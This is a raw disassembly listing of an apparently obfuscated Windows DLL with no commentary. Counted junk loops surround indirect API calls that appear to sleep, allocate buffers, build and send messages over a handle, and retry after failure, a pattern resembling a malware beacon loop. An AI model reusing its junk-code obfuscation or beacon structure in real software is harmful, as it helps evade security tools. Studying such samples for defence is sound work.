add ecx, dword [rbp - 0x2f7]
movzx eax, ah
movzx ecx, al
sub edx, 0xe042
mov rax, qword [rbp - 0x284]
movzx edx, byte [rbp - 0x40]
mov ecx, dword [rbp - 0x320]
mov ecx, dword [rbp - 0x290]
mov r11, qword [0x180008b72]
movzx edx, dh
and rcx, r8
mov word [rbp - 0x55], cx
and qword [rbp - 0x1ac], r10
movzx eax, al
mov ecx, eax
and dword [rbp - 0x2d8], eax
add ecx, 0x79eb
mov r10, r8
mov rdx, r8
and r9, r11
sub rdx, r10
add qword [rbp - 0xf5], r9
or dword [rbp - 0x2ec], edx
sub dword [rbp - 0x2e3], eax
add dword [0x180008b72], ecx
or r9, 0xff01
mov rax, qword [rbp - 0x455]
sub r8, 0x8f00
mov rdx, qword [rbp - 0x116]
xor rcx, r11
and ecx, edx
mov rdx, qword [rbp - 0x262]
mov r10, rdx
sub ecx, dword [rbp - 0xb6]
mov rdx, qword [rbp - 0x321]
mov ecx, dword [0x180008b6a]
mov qword [rbp - 0x144], rdx
movzx ecx, byte [rbp - 0x413]
mov qword [rbp - 0x2d5], rcx
cmp rdx, qword [0x180008b70]
je 0x1800024f6
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1800024e4
mov eax, dword [rbp - 0x27f]
and eax, dword [rbp - 0x2e0]
mov qword [0x180008b73], r11
mov eax, dword [str.UdJ8I2C4qJiumU849M0WjAr8YoX6zNbJIEp9pPEvbzBjBRolpz5VcQZq]
mov qword [rbp - 0xf], rcx
add edx, ecx
sub rcx, qword [rbp - 0x60]
or ecx, 0xeebf
or dword [rbp - 0x13], edx
mov ecx, dword [rbp - 0x2cf]
and dword [rbp - 0x3b0], edx
mov ecx, eax
mov rcx, qword [rbp - 0x39b]
xor qword [rbp - 0x478], rcx
add ecx, dword [rbp - 0xfb]
mov edx, dword [rbp - 0x2b0]
mov qword [rbp - 0x11], r11
mov r10, qword [0x180008b67]
mov qword [rbp - 0x469], rcx
add r10, 0xe4ee
mov qword [rbp - 0x31f], r8
and dword [rbp - 0x102], eax
and qword [rbp - 0xe9], r10
mov rcx, 0xd080
sub rcx, 0x5e38
movzx eax, cx
mov ecx, dword [0x180008b65]
and eax, dword [rbp - 0x2a5]
sub r8, r10
and edx, eax
mov qword [rbp - 0x8e], r9
add ecx, 0x532a
mov qword [rbp - 0x44e], rdx
movzx eax, word [rbp - 0x406]
inc qword [rsp]
cmp qword [rsp], 0x21f4
jle 0x180002422
add rsp, 0x10
leave
lea r8, [rbp + 0x60]
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x88]
mov r9d, 0
mov rax, qword [0x180008a54]
call rax
push rbp
mov rbp, rsp
sub rsp, 0x338
sub dword [rbp - 0x268], ecx
mov rcx, r8
mov dx, word [rbp - 0x1ff]
mov qword [rbp - 0x2d], r9
mov rcx, qword [rbp - 0x1df]
mov dword [rbp - 0x2fc], ecx
mov edx, ecx
lea r10, [rbp - 0x231]
movzx ecx, word [0x180008b6e]
mov dword [rbp - 0x53], edx
mov r11, 0xaf5d
and edx, dword [rbp]
and edx, dword [rbp - 0x99]
mov qword [rbp - 0x124], r10
mov edx, dword [rbp - 0xd2]
add dword [rbp - 0x2a8], ecx
add eax, dword [rbp - 0x89]
sub eax, ecx
or ecx, 0x7b42
sub qword [0x180008b73], r10
mov r9, qword [rbp - 0x15b]
lea rdx, [rbp - 0xc9]
movzx ecx, byte [rbp - 0xd3]
mov edx, dword [0x180008b73]
or rcx, qword [0x180008b6d]
mov ecx, dword [rbp - 0x2a6]
mov dword [rbp - 0x2ae], eax
mov dword [rbp - 0x21b], ecx
mov dword [0x180008b71], edx
sub ecx, edx
mov edx, dword [rbp - 0x25c]
mov edx, ecx
sub r10, qword [rbp - 0x2d2]
mov dword [0x180008b6c], eax
add ecx, dword [rbp - 0x11b]
mov eax, ecx
mov rdx, rcx
mov qword [str.UdJ8I2C4qJiumU849M0WjAr8YoX6zNbJIEp9pPEvbzBjBRolpz5VcQZq], rax
mov r9, qword [rbp - 0x307]
sub r10, 0x618d
add rdx, qword [rbp - 0x59]
mov r8, qword [rbp - 0xde]
mov r8, r10
lea r10, [rbp - 0xa3]
mov edx, dword [0x180008b6b]
mov ecx, dword [rbp - 0x6b]
lea rdx, [rbp - 0xcc]
mov rdx, rax
sub edx, 0xbb8c
mov edx, dword [rbp - 0xf1]
add eax, 0xc029
sub rdx, qword [rbp - 0x3a]
or ecx, dword [rbp - 0x188]
or r10, qword [0x180008b67]
mov eax, 0x7651
mov qword [rbp - 0x15e], rdx
and rdx, qword [rbp - 0x211]
sub r11, r8
and qword [rbp - 0x37], r9
cmp r10, 0xffffffffe4a93350
jb 0x180002681
movzx edx, ax
movzx edx, al
mov r10, qword [rbp - 0xa3]
mov qword [rbp - 0x10f], rcx
leave
lea rsi, [0x180008411]
mov r10, qword [rbp + 0x80]
call fcn.1800055b6
push rbp
mov rbp, rsp
sub rsp, 0x1a8
mov qword [rbp - 0x183], rcx
and edx, dword [rbp - 0x29]
mov dword [rbp - 0x136], ecx
lea r11, [rbp - 0xc7]
mov edx, 0xa6fe
mov ecx, dword [rbp - 0xe2]
add dword [rbp - 0x63], ecx
mov qword [rbp - 0x143], rcx
sub edx, ecx
sub r11, qword [rbp - 0x112]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180002733
xor ecx, edx
mov qword [rbp - 0x6c], r9
mov rcx, 0x6f8b
add qword [rbp - 0x34], rcx
mov r10, 0xa68
mov ecx, dword [rbp - 0x111]
mov eax, edx
movzx edx, byte [rbp - 0xda]
or r9, qword [rbp - 0x161]
add dword [rbp - 0x170], edx
mov eax, 0x84f8
mov byte [rbp - 0x62], dl
mov dword [rbp - 0x60], ecx
mov dword [rbp - 0x9b], ecx
or dx, word [rbp - 0x12b]
inc qword [rsp]
cmp qword [rsp], 0x927d
jle 0x1800026e3
add rsp, 0x10
add r11, qword [rbp - 0x19e]
mov eax, dword [rbp - 0xc0]
mov dword [rbp - 0x19b], ecx
mov rcx, qword [rbp - 0x40]
mov dl, byte [rbp - 0x62]
mov dword [rbp - 0x68], eax
mov ecx, eax
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x18000278a
mov dword [rbp - 0xa8], edx
mov rax, r10
mov qword [rbp - 0x57], r8
mov r8, qword [rbp - 0xe]
mov r10, qword [rbp - 0xe3]
inc qword [rsp]
mov r11, 0x88f8
cmp qword [rsp], r11
jle 0x18000276e
add rsp, 0x10
mov ecx, eax
mov qword [rbp - 0xfd], r10
mov edx, ecx
sub qword [rbp - 0x11f], rcx
mov dword [rbp - 0xec], ecx
mov r9, qword [rbp - 0xee]
mov edx, dword [rbp - 0x113]
mov dword [rbp - 0xc0], edx
mov eax, dword [rbp - 0x9d]
mov ecx, edx
add dword [rbp - 0x11a], edx
sub r8, qword [rbp - 0x13c]
mov r9, r8
mov r9, qword [rbp - 0x186]
mov ecx, dword [rbp - 0x18a]
add r9, rax
test r8, rax
jmp 0x18000280c
leave
mov rcx, qword [0x180008409]
mov rdx, 0xea60
mov rax, qword [0x180008a6c]
call rax
push r12
push r15
push rdi
push rsi
push rbx
push r14
push r13
push rbp
mov rbp, rsp
sub rsp, 0x418
mov r9, 0xc864
mov r11, qword [rbp - 0x3a3]
and qword [rbp - 0x56], rdx
mov qword [rbp - 0x6a], rbx
mov dword [rbp - 0xc1], eax
add rsi, 0x47d8
mov qword [rbp - 0x18], r8
mov r8, qword [rbp - 0x1eb]
mov r12, r15
mov qword [rbp - 0xff], r13
mov rdx, qword [0x180008b6b]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x18000289e
mov ecx, dword [rbp - 0x2d3]
and rsi, qword [rbp - 0x40e]
mov ecx, dword [rbp - 0x3c9]
inc qword [rsp]
mov r13, 0xe04c
cmp qword [rsp], r13
jle 0x180002887
add rsp, 0x10
add rcx, qword [rbp - 0x36f]
add r8, qword [rbp - 0x388]
mov dword [0x180008b6c], esi
movzx eax, al
mov dword [rbp - 0x255], eax
mov ecx, eax
mov rsi, r12
mov r9, qword [rbp - 0x167]
test edx, ebx
je 0x180002a0e
mov ecx, dword [rbp - 0x152]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180002937
mov rdi, rdx
and esi, ebx
mov rax, qword [rbp - 0x330]
mov eax, dword [rbp - 0x3ba]
and edx, 0x5a82
sub edx, 0x5532
mov qword [rbp - 0x146], r10
sub dword [rbp - 0x251], edi
mov qword [rbp - 0x3ce], rax
sub dword [rbp - 0x2bb], edx
add r10, qword [rbp - 0x26e]
inc qword [rsp]
mov esi, 0xa607
cmp esi, dword [rsp]
jl 0x1800028f4
add rsp, 0x10
mov dword [rbp - 0x28a], edi
mov ecx, dword [rbp - 0x385]
mov rbx, qword [rbp - 0x2e7]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1800029c7
movzx edi, bh
sub dword [rbp - 0x254], ecx
mov rbx, r8
sub r8, qword [rbp - 0x1b3]
sub edi, dword [rbp - 0xe5]
mov dword [rbp - 0x22d], edi
mov rdi, r8
mov r15, r13
xor dword [rbp - 0x327], ecx
mov edi, ecx
mov byte [rbp - 0x305], dl
movzx esi, bh
mov qword [rbp - 0xea], rbx
mov rdx, 0xd74b
add dword [rbp - 0x2ee], edi
sub dword [rbp - 0x153], ebx
add ebx, esi
sub r15, 0x8dfe
mov qword [rbp - 0x53], rax
inc qword [rsp]
mov r8, 0xea53
cmp qword [rsp], r8
jle 0x180002966
add rsp, 0x10
cmp r15, rax
jno 0x180002a0e
xor ecx, dword [rbp - 0x2bd]
mov r10, qword [rbp - 0x213]
movzx edx, dh
add esi, ecx
movzx edx, bh
mov qword [rbp - 0xf2], r12
sub r14, qword [rbp - 0x3cd]
mov rbx, rsi
movzx ebx, cl
mov ecx, ebx
and ebx, dword [rbp - 0x382]
leave
pop r13
pop r14
pop rbx
pop rsi
pop rdi
pop r15
pop r12
mov rcx, 0x4006
mov rax, qword [0x180008afc]
call rax
mov qword [0x1800083f9], rax
push rbp
mov rbp, rsp
sub rsp, 0x268
movzx eax, byte [rbp - 0x122]
xor dword [rbp - 0x14e], edx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180002ab5
and dx, word [rbp - 0x51]
lea rdx, [rbp - 0x6a]
mov rcx, 0x99a8
movzx ecx, dl
and dword [rbp - 0xec], ecx
movzx eax, dx
mov rdx, r9
mov ch, 0xfc
xor dword [0x180008b66], ecx
movzx eax, dh
mov r8, qword [rbp - 0xc7]
mov r11, qword [rbp - 0xf8]
sub edx, dword [rbp - 0x1ae]
mov dword [rbp - 0x1ca], ecx
movzx edx, dx
sub qword [0x180008b68], r10
add eax, dword [rbp - 0x204]
lea rdx, [rbp - 0x1b3]
inc qword [rsp]
mov rdx, 0xf503
cmp qword [rsp], rdx
jle 0x180002a57
add rsp, 0x10
mov edx, dword [rbp - 0x1e8]
add rax, qword [rbp - 0x175]
cmp ecx, dword [0x180008b6d]
jne 0x180002b9c
mov qword [rbp - 0x100], rcx
mov dword [rbp - 0x19], edx
mov eax, dword [rbp - 0xd5]
movzx eax, al
mov ah, 0x7c
cmp ecx, 0x72b681df
jb 0x180002b70
xor rdx, 0xc7fc
sub qword [0x180008b69], rcx
mov rax, qword [rbp - 0xe9]
mov qword [rbp - 0xa6], r10
lea rax, [rbp - 0x219]
mov eax, dword [rbp - 0x20f]
mov ah, al
mov dword [rbp - 0x13e], eax
xor qword [0x180008b6c], rax
mov edx, ecx
sub dword [rbp - 7], edx
add rdx, 0x63f
sub ecx, 0xffee
sub eax, 0x33c8
mov ecx, 0xf3df
lea r11, [rbp - 0x223]
lea rcx, [rbp - 0xa5]
mov ecx, dword [rbp - 0x242]
mov rax, rdx
mov rax, qword [rbp - 0x23]
add eax, edx
add eax, dword [rbp - 0x79]
mov rax, r11
add r9, r10
mov edx, dword [rbp - 0xa4]
mov qword [rbp - 0xd8], rax
mov dword [rbp - 0xfd], edx
mov eax, edx
xor rcx, 0x57d8
mov ecx, dword [rbp - 0x72]
mov qword [rbp - 0x1bf], rcx
leave
mov rcx, qword [0x1800083f9]
mov eax, dword [0x180008225]
mov dword [rcx], eax
mov word [rcx + 4], 2
add rcx, 6
lea rdx, [0x1800088a0]
mov rax, qword [0x180008b04]
call rax
push rbx
push rsi
push r12
push rdi
push r15
push rbp
mov rbp, rsp
sub rsp, 0xf8
movzx esi, dh
mov rbx, rsi
mov eax, dword [rbp - 0xe2]
or edx, edi
movzx edi, dh
mov edi, eax
and rax, qword [rbp - 0xe4]
mov edx, ebx
movzx eax, bl
or dword [rbp - 0x89], ecx
cmp r15, qword [0x180008b6d]
jno 0x180002c1a
sub r9, qword [rbp - 0x8d]
sub dword [rbp - 0x99], eax
sub r8, 0x60ff
movzx edi, al
mov eax, dword [rbp - 0x8a]
mov dword [rbp - 0x94], eax
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180002cd3
mov esi, dword [rbp - 0x96]
mov qword [rbp - 0x3e], r8
mov edx, dword [rbp - 0x63]
mov qword [0x180008b67], rcx
add r12, qword [rbp - 0x3d]
mov dword [rbp - 0xb1], edi
mov r12, rcx
mov rdi, r15
mov rcx, qword [rbp - 0xc8]
mov r15, 0x974d
mov rdx, r12
mov edi, dword [0x180008b71]
mov rax, r9
mov dword [rbp - 0x84], ebx
movzx ebx, bh
mov esi, eax
mov esi, edx
mov ecx, dword [rbp - 0x17]
lea r9, [rbp - 0x1e]
mov edx, ecx
sub qword [rbp - 0xb2], r12
mov ebx, dword [rbp - 0x7e]
sub qword [rbp - 0x61], rsi
and qword [rbp - 0x49], r8
sub dword [rbp - 0x3e], ebx
add esi, dword [rbp - 0x4a]
add qword [rbp - 0xa1], r15
mov rdx, 0x7d09
add qword [rbp - 0x54], rsi
mov edi, dword [rbp - 0xd0]
add r10, rcx
and rbx, qword [rbp - 0x8e]
and qword [rbp - 0xbe], rdi
inc qword [rsp]
mov esi, 0x25ed
cmp esi, dword [rsp]
jl 0x180002c3a
add rsp, 0x10
leave
pop r15
pop rdi
pop r12
pop rsi
pop rbx
mov rdx, qword [0x1800083f9]
add rdx, 0xc
mov rcx, qword [rbp + 0x88]
mov r8, 0x4000
jmp 0x180002df9
lea r9, [0x180008401]
mov qword [rsp + 0x20], 0
mov rax, qword [0x180008a5c]
call rax
add qword [0x180008401], 0xc
push r13
push rbx
push rbp
mov rbp, rsp
sub rsp, 0x238
mov ebx, dword [rbp - 0xcf]
mov rdx, 0x73a3
mov rcx, 0x29a3
mov qword [str.UdJ8I2C4qJiumU849M0WjAr8YoX6zNbJIEp9pPEvbzBjBRolpz5VcQZq], r10
mov qword [rbp - 0x68], rbx
mov qword [rbp - 0x19f], r13
mov edx, dword [rbp - 0xa5]
cmp ebx, dword [0x180008b66]
jne 0x180002f3f
mov qword [rbp - 0x44], r11
mov qword [rbp - 0x178], rbx
mov qword [rbp - 0x8d], r11
mov eax, dword [rbp - 0x13b]
add r10, qword [rbp - 0x38]
mov dword [0x180008b68], eax
mov ecx, eax
mov ebx, dword [rbp - 0x1aa]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180002f0d
mov qword [rbp - 0xe9], r13
mov qword [rbp - 0xd], rdx
and qword [rbp - 0x99], rcx
add qword [0x180008b71], r10
add ebx, dword [0x180008b6c]
mov ecx, edx
sub bx, dx
mov ebx, dword [rbp - 0x162]
movzx ecx, ch
add eax, dword [0x180008b69]
xor dword [rbp - 0x159], eax
mov r8, qword [str.UdJ8I2C4qJiumU849M0WjAr8YoX6zNbJIEp9pPEvbzBjBRolpz5VcQZq]
mov eax, dword [str.UdJ8I2C4qJiumU849M0WjAr8YoX6zNbJIEp9pPEvbzBjBRolpz5VcQZq]
mov rcx, r10
mov dword [rbp - 0x1ff], eax
mov eax, ebx
xor edx, eax
sub ebx, edx
mov r13, 0xec9c
mov rax, 0x13af
mov r13, qword [0x180008b70]
xor rdx, qword [rbp - 0x1b7]
inc qword [rsp]
cmp qword [rsp], reloc.KERNEL32.dll_VerifyConsoleIoHandle
jle 0x180002e98
add rsp, 0x10
mov dword [rbp - 0xc8], edx
sub dword [str.UdJ8I2C4qJiumU849M0WjAr8YoX6zNbJIEp9pPEvbzBjBRolpz5VcQZq], edx
sub word [rbp - 0xe1], bx
and qword [rbp - 0x229], r9
lea rax, [0x180008b6c]
mov ecx, dword [rbp - 0xb]
mov r13, qword [rbp - 0x11f]
mov edx, dword [rbp - 0x98]
mov r11, r10
xor r11, rcx
mov qword [rbp - 0x16c], rdx
and dword [rbp - 0x1c5], eax
mov qword [0x180008b6c], r9
sub dword [rbp - 0x1b2], edx
leave
pop rbx
pop r13
lea rbp, [rsp + 0x200]
mov rcx, qword [0x1800083f9]
lea rdx, [0x18000857c]
mov rax, qword [0x180008b1c]
call rax
cmp rax, 0
jne 0x180006d1c
push rsi
push r15
push rdi
push rbp
mov rbp, rsp
sub rsp, 0x3e8
add qword [rbp - 0xaf], rdx
mov dword [rbp - 4], ecx
mov qword [0x180008b65], r11
mov dword [rbp - 0x3df], edi
mov rdi, qword [rbp - 0x368]
add r11, r10
movzx esi, dh
test r15, 0xffffffff89e5a5c3
jns 0x18000312e
sub r15, qword [rbp - 0x324]
lea r9, [rbp - 0x1d9]
mov qword [rbp - 0x119], rcx
movzx eax, cx
movzx eax, si
lea rdx, [0x180008b6a]
sub rax, qword [rbp - 0x3c4]
mov qword [rbp - 0x1d8], rsi
and r8, 0x4f72
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180003050
add dword [rbp - 0xd], eax
add qword [rbp - 0x6e], rcx
mov esi, dword [rbp - 0x1c1]
mov dl, byte [rbp - 0x18d]
mov r9, qword [rbp - 0xcb]
mov dword [0x180008b71], ecx
add r9, qword [rbp - 0x231]
mov r8, qword [rbp - 0x293]
inc qword [rsp]
mov esi, 0xdb71
cmp esi, dword [rsp]
jl 0x18000301e
add rsp, 0x10
and esi, dword [rbp - 0x90]
mov edi, dword [0x180008b71]
mov r10, qword [0x180008b6b]
mov dword [rbp - 0x18c], edx
add edx, 0x42ea
and ecx, dword [rbp - 0x31]
and ecx, esi
mov qword [0x180008b73], rcx
mov eax, 0x1de3
mov rax, r15
sub dword [rbp - 0x2a6], esi
mov rdx, qword [rbp - 0x89]
mov dword [rbp - 0xef], eax
mov r10, 0x1a2
mov dword [rbp - 0x88], edi
mov esi, dword [rbp - 0x138]
mov r9, qword [rbp - 0xe3]
sub rdx, r15
mov edi, 0xecb7
movzx edx, cl
mov esi, dword [rbp - 0x202]
xor edx, dword [rbp - 0xa5]
mov qword [rbp - 0x3b3], rax
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180003120
sub edx, ecx
sub qword [rbp - 0x253], rcx
and r9, qword [rbp - 0x200]
sub qword [rbp - 0x1df], r11
sub ecx, dword [rbp - 0x1b9]
sub qword [rbp - 0xea], r10
movzx esi, cl
mov qword [rbp - 0x3c], rax
or cx, word [rbp - 0x3d6]
inc qword [rsp]
mov edi, 0x80cd
cmp edi, dword [rsp]
jl 0x1800030ea
add rsp, 0x10
leave
pop rdi
pop r15
pop rsi
mov rdi, qword [0x1800083f9]
add rdi, 6
movsxd rsi, dword [0x180008401]
mov r12, 0x78
call fcn.180004b8d
mov rcx, 0x3e8
mov rax, qword [0x180008a64]
call rax
push r14
push rbx
push rdi
push r15
push rbp
mov rbp, rsp
sub rsp, 0x1e8
sub dword [rbp - 0xdc], edx
and ecx, dword [0x180008b71]
sub r11, 0xe886
mov edi, ecx
mov r8, qword [rbp - 0x109]
mov rax, rcx
test dword [str.UdJ8I2C4qJiumU849M0WjAr8YoX6zNbJIEp9pPEvbzBjBRolpz5VcQZq], ecx
jb 0x1800032ce
mov qword [rbp - 0xb3], rdx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180003212
and dword [rbp - 0x10a], ebx
mov edi, 0x44cf
mov dword [rbp - 0x135], edi
sub rax, rdi
mov dword [rbp - 0x52], edi
xor qword [rbp - 0x32], r9
mov dword [rbp - 0x63], ebx
mov edi, dword [rbp - 0x1bc]
mov ecx, dword [rbp - 0x18b]
mov qword [0x180008b68], r15
mov eax, dword [rbp - 0x162]
mov dword [rbp - 0x1f], ebx
add dword [rbp - 0x30], ecx
mov qword [rbp - 0x153], r15
mov qword [rbp - 0xe], r9
add rdx, r9
mov r11, qword [rbp - 0x7b]
mov qword [rbp - 0xcb], r8
or dword [rbp - 0x137], eax
inc qword [rsp]
mov edx, 0x6358
cmp edx, dword [rsp]
jl 0x1800031b2
add rsp, 0x10
cmp r15, r14
jno 0x1800032ce
sub r15, 0x319c
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1800032bc
mov qword [rbp - 0x26], rdx
add ebx, dword [rbp - 0x1ab]
mov r10, qword [0x180008b71]
add edi, 0x6243
mov rcx, qword [rbp - 0xa5]
or qword [rbp - 0x14], rbx
and edi, dword [rbp - 0x1d0]
mov r9, qword [rbp - 0x5a]
lea r10, [0x180008b6c]
and r15, qword [rbp - 0xe8]
mov r10, rdx
mov edx, dword [rbp - 0x85]
mov rbx, r15
mov dword [rbp - 0x194], edi
mov rax, 0xd3bf
xor eax, 0xcd9c
movzx ebx, byte [rbp - 7]
mov word [rbp - 0x8f], di
mov rbx, r8
mov rdi, qword [rbp - 0x20]
xor eax, ecx
add qword [rbp - 0x19a], r10
movzx edx, ch
and qword [rbp - 0x1b], r11
inc qword [rsp]
mov edx, 0x352
cmp edx, dword [rsp]
jl 0x18000323e
add rsp, 0x10
leave
pop r15
pop rdi
pop rbx
pop r14
cmp qword [0x1800083ee], 0
je 0x1800032fa
mov rcx, qword [0x1800083ee]
mov rax, qword [0x180008aec]
call rax
mov qword [0x1800083ee], 0
cmp qword [0x180008898], 0xffffffffffffffff
je 0x1800036da
jne 0x1800036af
push rbp
mov rbp, rsp
sub rsp, 0x388
cmp edx, dword [0x180008b70]
je 0x180003431
mov dword [rbp - 0x1ee], ecx
add qword [rbp - 0x85], rdx
mov rax, qword [0x180008b6d]
mov eax, ecx
and rdx, qword [rbp - 0x251]
mov eax, edx
mov eax, dword [rbp - 0x374]
mov qword [rbp - 0x16a], rdx
or dword [rbp - 0x334], edx
or qword [rbp - 0xff], r8
cmp edx, 0x14d89df9
jo 0x180003366
lea r8, [rbp - 0x329]
mov r9, r8
mov edx, dword [rbp - 0x2d7]
or rdx, r8
mov r10, qword [rbp - 0x377]
mov eax, dword [rbp - 0xb4]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x18000341c
movzx edx, ax
mov qword [rbp - 0x361], r8
call fcn.180003433
mov rdx, qword [rbp - 0x11f]
mov qword [rbp - 0x20d], rax
mov eax, dword [rbp - 0x10c]
movzx eax, ax
mov qword [rbp - 0x346], rax
mov rdx, qword [rbp - 0x2c5]
mov qword [rbp - 0xdb], r10
mov ecx, dword [rbp - 0x53]
add rcx, r11
mov dword [rbp - 0x1ed], eax
mov qword [rbp - 0x284], rdx
movzx edx, cl
xor ecx, eax
add rdx, 0xeb90
add dword [rbp - 0x203], eax
sub rcx, qword [rbp - 0x339]
add edx, dword [rbp - 0x128]
movzx edx, al
or qword [rbp - 0x101], rcx
mov ecx, dword [rbp - 0x4f]
mov r9, qword [0x180008b69]
inc qword [rsp]
mov r11, 0xacda
cmp qword [rsp], r11
jle 0x180003397
add rsp, 0x10
leave
ret
mov rcx, qword [0x180008898]
mov rax, qword [0x180008a9c]
call rax
mov qword [0x180008898], 0xffffffffffffffff
mov rcx, 0x493e0
mov rax, qword [0x180008a64]
call rax
call 0x180006e94
cmp rax, 0xffffffffffffffff
je 0x180003151
mov qword [0x180008898], rax
push rbp
mov rbp, rsp
sub rsp, 0x328
movzx edx, ch
mov dword [rbp - 0x231], edx
mov r8, r11
sub eax, dword [rbp - 0xd]
mov rdx, qword [rbp - 0x37]
mov dword [rbp - 0x77], ecx
mov r9, rax
sub eax, dword [rbp - 1]
mov ecx, edx
movzx edx, cl
mov rcx, qword [rbp - 0x46]
lea r9, [rbp - 0x13d]
mov edx, ecx
mov edx, dword [rbp - 0x21d]
mov qword [0x180008b70], r9
sub dx, word [rbp - 0xfd]
movzx ecx, word [rbp - 0xdf]
mov ecx, dword [0x180008b70]
mov eax, dword [rbp - 0x1eb]
movzx edx, byte [0x180008b6b]
sub qword [rbp - 0x21d], r10
or eax, 0x3c28
mov ecx, dword [rbp - 0x42]
cmp ecx, 0xf1d19d77
js 0x180003880
sub qword [rbp - 0x62], r8
mov qword [rbp - 0x23d], r9
sub dword [rbp - 0x23d], ecx
mov eax, edx
mov rax, qword [rbp - 0x3f]
movzx ecx, ch
mov dword [rbp - 0x182], eax
add r11, rdx
mov eax, ecx
and dword [rbp - 0x149], edx
sub qword [rbp - 0x10], r11
mov dword [rbp - 0x238], eax
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1800037fa
mov byte [rbp - 0x14], al
xor r8, qword [rbp - 0xe8]
xor edx, dword [rbp - 0x25e]
mov edx, eax
mov eax, dword [rbp - 0x1be]
mov r8, qword [rbp - 0xec]
movzx edx, ax
or rdx, qword [rbp - 0x5d]
mov rax, qword [rbp - 0x14b]
mov qword [rbp - 0x4b], r9
mov r11, qword [rbp - 0x307]
mov eax, dword [rbp - 0x1ff]
movzx eax, dl
inc qword [rsp]
mov ecx, 0xc8f3
cmp ecx, dword [rsp]
jl 0x1800037b5
add rsp, 0x10
lea r11, [rbp - 0x2bb]
mov dword [rbp - 0xf4], edx
mov rax, r9
mov dword [rbp - 0x9b], eax
movzx edx, ch
mov qword [rbp - 0x64], r10
movzx ecx, ch
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180003841
sub rdx, qword [rbp - 0x2dc]
inc qword [rsp]
mov rax, 0x4410
cmp qword [rsp], rax
jle 0x180003836
add rsp, 0x10
mov rdx, 0xfae7
sub qword [rbp - 0x21b], r8
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180003872
inc qword [rsp]
cmp qword [rsp], 0x44ca
jle 0x18000386e
add rsp, 0x10
leave
mov rcx, 0x200
add rcx, qword [0x180008401]
mov rax, qword [0x180008afc]
call rax
mov qword [0x1800082ae], rax
mov rcx, rax
lea rdx, [0x180008234]
mov r8, qword [0x18000822c]
mov r9, qword [0x180008401]
mov rax, qword [0x180008b04]
call rax
mov qword [0x1800082b6], rax
mov rcx, qword [0x180008401]
add qword [0x1800082b6], rcx
mov rcx, qword [0x1800082ae]
add rcx, rax
mov rdx, qword [0x1800083f9]
mov r8, qword [0x180008401]
mov rax, qword [0x180008b24]
call rax
push rsi
push rbp
mov rbp, rsp
sub rsp, 0x1b8
movzx edx, dh
mov rax, qword [rbp - 0x17e]
cmp edx, 0xf6d73f1a
jb 0x180003947
lea r10, [0x180008b6f]
sub dword [0x180008b66], esi
sub rdx, r9
mov dword [rbp - 0x7c], esi
add eax, dword [rbp - 0x156]
mov ecx, dword [0x180008b70]
add rax, qword [rbp - 0x10]
mov r10, rcx
movzx eax, dl
mov qword [rbp - 0xde], r8
xor rdx, rcx
movzx esi, dl
add dword [rbp - 0x83], eax
mov dword [rbp - 0x37], ecx
mov r10, qword [rbp - 0xd4]
mov dword [rbp - 0xb], eax
mov esi, dword [rbp - 0x14]
and rcx, rsi
mov r11, qword [rbp - 0x5b]
mov eax, edx
xor rdx, qword [rbp - 0x2d]
cmp rsi, 0x42be5115
jns 0x180003a28
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180003a16
mov esi, dword [rbp - 0xf]
mov eax, dword [rbp - 0xda]
xor dword [rbp - 0x4b], esi
and r11, 0xb8f3
mov esi, dword [rbp - 0x58]
mov eax, 0x641a
add esi, dword [rbp - 0x149]
mov rax, qword [rbp - 0x148]
mov edx, dword [rbp - 0xb8]
mov rcx, qword [rbp - 0x112]
mov r11, qword [rbp - 0x134]
mov dword [0x180008b68], edx
sub rcx, rax
mov edx, eax
mov ecx, 0x575b
mov eax, dword [rbp - 0x14c]
mov r9, qword [rbp - 0x15]
mov dword [rbp - 0xc3], eax
mov edx, 0x5df5
mov esi, dword [rbp - 0x152]
movzx esi, dh
sub dword [rbp - 0x90], eax
add dword [rbp - 0x12e], ecx
mov esi, dword [rbp - 4]
mov word [rbp - 0x2f], si
mov r11, qword [rbp - 0x11c]
and rcx, rdx
inc qword [rsp]
cmp qword [rsp], 0x8e5
jle 0x18000398b
add rsp, 0x10
leave
pop rsi
mov qword [rbp - 0xbe], 0
mov rcx, qword [0x180008898]
mov rdx, qword [0x1800082ae]
mov r8, qword [0x1800082b6]
inc r8
mov r9, 0
mov rax, qword [0x180008ab4]
call rax
push rax
push rax
mov rcx, qword [0x1800082ae]
mov rax, qword [0x180008aec]
call rax
push rbp
mov rbp, rsp
sub rsp, 0x3d8
and ecx, edx
mov dword [rbp - 0x316], ecx
sub ecx, dword [rbp - 0x1a1]
and eax, ecx
mov rcx, 0x445c
mov cx, word [rbp - 0x1a8]
mov r9, rdx
mov qword [rbp - 0x39c], r10
sub qword [rbp - 0x281], rdx
add dword [rbp - 0x32b], ecx
mov eax, dword [rbp - 0x10b]
and qword [rbp - 0x316], r8
mov edx, dword [rbp - 0x149]
mov qword [0x180008b66], r8
add eax, 0x3f5e
mov rcx, r8
mov ecx, eax
sub edx, dword [rbp - 0x42]
movzx edx, byte [rbp - 0x1c2]
sub rcx, qword [rbp - 0x11c]
mov r10, r8
add qword [rbp - 0x353], r11
movzx eax, ah
cmp r8, qword [str.UdJ8I2C4qJiumU849M0WjAr8YoX6zNbJIEp9pPEvbzBjBRolpz5VcQZq]
jb 0x180003b37
sub eax, dword [rbp - 0x282]
sub rax, 0x4dff
mov rdx, qword [rbp - 0x26f]
mov qword [rbp - 0x127], r10
mov qword [rbp - 0x1b7], rax
mov qword [rbp - 0x119], rdx
mov r11, qword [rbp - 0x22b]
